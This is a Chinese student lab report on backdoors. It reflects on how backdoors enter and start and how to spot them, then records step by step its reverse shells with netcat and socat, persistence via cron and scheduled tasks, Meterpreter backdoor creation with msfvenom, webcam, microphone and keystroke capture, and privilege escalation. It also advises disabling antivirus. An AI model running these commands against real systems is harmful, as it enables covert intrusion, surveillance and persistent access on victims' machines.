Exp2 后门原理与实践
1. 基础问题
1.1 例举你能想到的一个后门进入到你系统中的可能方式?
- 插入不明来源的U盘
- 安装网上一些不正规的软件,比如软天空之类的
- 点击一些不安全的链接
- 陌生人发来的邮件中,接收不明的文件或者链接
- 打开文档宏,执行的代码中注入后门
1.2 例举你知道的后门如何启动起来(win及linux)的方式?
- Win:任务计划程序,设置开机自启动,安装伪装成服务;通过注册表自启动。
- Linux:通过cron指令制定任务来启动程序、各种脚本,和其他文件捆绑。
1.3 Meterpreter有哪些给你印象深刻的功能?
- Meterpreter我觉得功能很强大而且全面,当我可以自由的打开被控制主机的摄像头,音频,键盘输入的时候我感觉到了非常的震惊,可以想象一个技术全面的黑客是否也可以做到,在你点击了一个链接,或者注册表运行一个不知名的文件时候,你的电脑就在他们面前没有了秘密。
1.4 如何发现自己有系统有没有被安装后门?
- 检查是否有不常用端口开放;
- 检查是否有系统文件被修改;
- 检查是否有可疑程序被执行;
- 观察系统运行速度和内存有没有明显变化;
- 观察注册表。
2. 实验总结与体会
2.1 要时刻学会理性分析问题
在做一开始实验的时候,我按照正常的流程做实验,但是很快就出现了问题,我发现我在建立连接的时候发现kali没有反应,但是显示Windows发的消息确实到达了kali,但是kali无法连接回去,然后我在反复试验之后觉得应该是有东西把这个数据包拦截下来了,但是我的防火墙已经关闭了,最后我看到火绒的弹窗…最后我关闭了火绒和电脑管家,实验就顺利进行了,所以清楚流程,逐步去找寻问题,是破题的关键。
2.2 要知其然,也要知其所以然
在做实验的时候,我们经常会遇到各种各样的问题,怎么去解决就需要我们了解每一个命令是在干什么,以及为什么要这么做,这样在出现问题的时候我们至少知道如何去调试。
2.3 要时刻提高网络安全意识
在进行进行完实验之后,我逐步的感受到了一个顶级黑客的可怕之处,不但可以入侵你的系统,获得文件的控制权,甚至可以控制你的摄像头和音频软件,我们在上网的时候一定要提高安全意识,非法的网站不登录,陌生的链接不点击,保护好自己的信息安全。
2.4 要开拓创新,运用新的工具
作为这个实验的负责人,我觉得还是写一个小博客比较方便大家学习,所以我就开始写自己的第一篇小文章,一开始我先试用了一下富文本的编辑器发现还是不太方便,然后我自己试着学习了一下markdown语言编辑器确实感觉好用了很多。
3. 实践过程记录
3.0 环境准备
温馨提示:!!!!!在开始实验之前请关闭所有的杀毒软件,包括但不限于火绒、电脑管家,360等,然后还需要关闭防火墙,避免你的软件抱着为你好的心态把你下好的文件删除或者拦截命令。
3.0.1 获取IP地址
因为本次实验需要演示两主机间互相连接、反弹连接、注入后门等操作,因此需要先查询主机ip地址。
Windows:打开cmd窗口,输入
ipconfig
查询到本机ip地址为192.168.146.1
Linux:打开命令行窗口,输入
ifconfig
查询到虚拟机IP地址为192.168.146.134
3.0.2 ncat、socat、Meterpreter基础知识
-
ncat
ncat即Netcat。Netcat用于从TCP/UDP连接中读取或发送网络数据。ncat可用来做端口扫描、端口转发、连接远程系统等。
参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息
-vv:显示端口更详细的信息 -
socat
socat可以看做是 Netcat 的加强版。Socat的主要特点就是在两个数据流之间建立双向通道,且支持众多协议和链接方式,如IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等。
功能:端口转发、端口映射、端口监听、tcp/udp连接、文件传送、nat映射、使用openssl加密传输 -
Meterpreter
Meterpreter号称“黑客瑞士军刀”,首先他有五大模块功能:渗透攻击(Exploit)、攻击载荷(Payload)、Shellcode、模块(Module)、监听器(Listener),功能强大
3.1 使用netcat获取主机操作Shell,cron启动
3.1.1 Windows获取Linux Shell
本实验使用的端口号均为本人学号:4317
-
Windows用命令
ncat.exe -l -p 4317
监听4317端口,等待其他机器连接该端口。
-
kali使用命令
nc 192.168.146.1 4317 -e /bin/sh
反弹连接Windows,提供自己的shell(192.168.146.1
为Win的IP)
-
Windows获得了linux的shell,可以执行linux的相关命令,例ls,whoami,如图。
-
与上面的步骤相似,在linux中用命令
nc -l -p 4317
设置监听本地4317端口。
-
Windows使用命令
.\ncat -e cmd.exe 192.168.146.134 4317
中间的IP是kali的IP
反弹连接linux,提供自己的shell。(
192.168.146.134
为攻击者Linux的IP地址) -
linux获得Windows的shell,可以执行相关命令,例dir
3.1.3 利用ncat可执行文件 传输数据
- Linux监听4317端口
nc -l -p 4317
- Windows连接Linux的4317端口
ncat.exe 192.168. 146.134 4317
- 两台机器就可以互相传输信息
3.2 使用socat获取主机操作Shell, 任务计划启动
3.2.1 Windows获取Linux Shell
- 先在Linux上编写一条定时任务,让反弹连接定时启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab指令增加一条定时任务;e表示编辑;输入2表示选择vim编辑器。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
-
用指令
crontab -e
编辑定时任务。在第一次编辑的时候,会有提示选择编辑器,选择“2
”,利用vim编辑器进行编辑。 -
点击“i”进入编辑模式,在最后一行添加
50 * * * * /bin/netcat 192.168.211.1 4317 -e /bin/sh
,意思是每小时的50分会反向连接Windows的4317端口。 -
按Esc键退出编辑模式,输入
:wq
保存并退出。
-
显示插入命令成功
-
等待至50分后,Windows获得Linux的shell,可执行相关命令,例ls。
3.2.2 Linux获取Windows Shell
-
man socat
查看socat使用说明
-
在Windows下,打开:控制面板->管理工具->任务计划程序,新建任务计划。
-
打开Windows工具
-
新建任务
-
在操作选项中,选择“创建任务”,填写任务名称
20214317 Exp2
新建操作,选择启动的程序为
socat.exe,参数项填写tcp-listen:4317 exec:cmd.exe,pty,stderr
含义为:把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上。
-
编辑触发器
-
新建操作
-
在kali终端输入指令
socat - tcp:192.168.211.1:4317
,此时Linux监听中 -
等待预定时间,Windows启动任务,socat.exe运行
-
Linux获得Windows Shell
-
socat.exe开始运行
-
获得Windows的shell
3.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.3.1 生成后门
- Kali命令行中输入以下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.146.134 LPORT=4317 -f exe > 20214317_backdoor.exe
注:这里设置的主机IP和端口均为linux的IP、端口
LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp
是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:20214317_backdoor.exe
3.3.2 将生成的后门传送到Windows主机上
- 在Windows上监听4317端口等待接收可执行文件20214317_backdoor.exe
.\ncat -lv 4317 >20214317_backdoor.exe
- 在Kali上将生成的20204308lwy_backdoor.exe传送给Windows
nc 172.30.7.176 4308 < 20204308lwy_backdoor.exe
- 然后我们在ncat的中可以看到backdoor的文件
(很多同学会在这里出现错误,发现这个文件是无法打开的,这个问题会在本篇文章的错误分析中给大家详细讲解,如果你做到了这个地方请翻到下面)
3.3.3 进入msf控制台进行配置
- 在kali上使用
msfconsole
命令,进入msf控制台。
- 配置监听模块
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.146.134 //KaliIP,和生成后门程序时指定的IP相同
set LPORT 4317 //设置本主机的端口
- 输入
exploit
运行模块;在Windows上运行后门程序20214317_backdoor.exe
(这个地方大家出现问题见问题分析)
- 查看kali,发现获得了Windows主机的连接,得到了远程控制的shell,可执行相关命令,例
dir
等
3.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
3.4.1 获取目标主机音频、摄像头、击键内容等内容
- 获取目标主机的音频和截屏内容
record_mic //音频
screenshot //截屏
- 使用命令
webcam_snap
可以获取摄像头所拍摄的照片
-
在kali上输入指令
keyscan_start
,开始记录键盘记录,然后在Windows上输入一些字母,之后,再切换到kali,输入指令
keyscan_dump
,就可以读取键盘记录在Windows上新建了一个文本文档,随便输入了一串字符:
wan dan le lao di
3.4.2 提权
- 先使用
getuid
指令查看当前用户,再使用getsystem
指令进行提权。
要用以管理员身份运行
20214317_backdoor.exe
3.5 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
- 使用命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168. 146.134 LPORT=4317 -x /home/kali/kalishare/pwn1 -f elf > 20214317_pwn2
生成以pwn1模板这个elf文件格式的shellcode文件20214317_pwn2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.146.134 LPORT=4317 -x /home/kali/kalishare/pwn1 -f elf > 20214317_pwn2
- 输入指令
msfconsole
,进入msf命令行
use exploit/multi/handler //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp //对应生成的后门程序设置payload
show options //查看当前信息状态
set LHOST 192.168.146.134 //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 4317 //设置LPORT
exploit //启动监听
- 在kali上运行后门文件
20214317_pwn22
,在kali中执行文件前应先加权限chmod +x 20214317_pwn22
- 此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell,执行ls等命令。
4. 问题分析
4.1 在使用ncat无法建立连接
问题描述:在做实验的时候,当需要Windows当好人,kali去攻击的时候出现了kali接受到了数据消息,但是直接中断,没有获得cmd命令的情况。
解决方法:关掉火绒!!!!!目前知道火绒这个软件会拦截kali发送给Windows的不法数据包,在交流中甚至有的同学在实验的时候后门软件直接被火绒删掉了,我们做实验的时候还是要避免这种杀毒软件和防火墙的开启。
4.2 Win上无法运行meterpreter生成的可执行文件(重点)
问题描述:在把生成后门传送到Windows主机上,并需要运行该文件时,发现win无法运行文件,出现以下提示。
这个问题其实困扰了我很久很久,差不多有三四天,中间和薛某以及冀某反复试验了一下,发现都出现了如下的情况
正是这个弹窗让我一度认为这个文件就是这样的,无法被Windows运行
于是我开始试试用64位的编译,看看可不可以运行一下
但是:
在如此反复十几次之后开始崩溃
然后鸣谢一下王*琪同学,在她的电脑上backdoor_exe找到了生长的土壤,然后我查看了一下发现了一些端倪
我的文件中文件大小为:112KB ,但是她的文件只有72KB
然后我回去查看发现在最开始生成注入backdoor.exe的时候实际上只有73802比特,说明生成文件的时候本身没有问题
经过ncat的传输之后就突然增加了几乎一半的内容,所以我认为一定是ncat传输中出现了问题
那么有没有什么办法可以不用ncat传输,直接把这个文件从kali传输到Windows
相信很多同学已经想到了kalishare文件夹,通过共享文件传输过来就可以运行辣!
4.3 提权失败
问题描述:无法以普通用户身份进行提权操作。
解决方法:要以管理员身份打开后门(可执行文件)后,有了充足权限才可进行提权操作。